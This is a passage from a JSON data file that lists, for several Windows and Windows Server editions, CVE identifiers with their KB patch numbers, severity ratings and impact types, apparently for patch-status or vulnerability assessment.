Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601345","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005030","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039217","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070883","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082123","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2022":[{"cve":"CVE-2021-22947","kb":"5009555","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5005575","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005575","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-45985","kb":"5044281","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015827","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014678","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-35737","kb":"5034129","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029250","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025230","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073457","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032198","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031364","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039227","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034770","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041160","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5042881","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048654","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044281","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049983","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053603","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053603","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055526","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058385","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058385","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060526","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066782","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062572","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063880","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070884","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082142","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2022 (Server Core installation)":[{"cve":"CVE-2021-22947","kb":"5009555","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5005575","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005575","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-45985","kb":"5044281","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015827","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014678","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-35737","kb":"5034129","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029250","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025230","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073457","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032198","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031364","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039227","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034770","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041160","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5042881","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048654","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044281","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049983","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053603","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053603","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053603","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055526","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058385","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058385","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060526","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066782","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062572","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063880","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070884","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082142","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2022, 23H2 Edition (Server Core installation)":[{"cve":"CVE-2021-45985","kb":"5044288","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-2804","kb":"5075897","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-31096","kb":"5073450","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039236","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041573","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043055","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048653","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044288","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049984","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5049984","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053599","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053599","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053599","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053599","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055527","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058384","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058384","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060118","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066780","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063899","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063899","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070879","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082060","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082060","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2025":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070881","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082063","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082063","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2025 (Server Core installation)":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070881","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082063","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082063","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 1709 (Server Core Installation)":[{"cve":"CVE-2017-11830","kb":"4048955","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4054517","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0743","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0823","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074588","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343897","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093112","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103727","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 1803 (Server Core Installation)":[{"cve":"CVE-2018-0824","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0952","kb":"4343909","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0982","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103721","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 1903 (Server Core installation)":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4565351","severity":"Critical","impact":"Elevation of Privilege"}],"Windows Server, version 1909 (Server Core installation)":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code 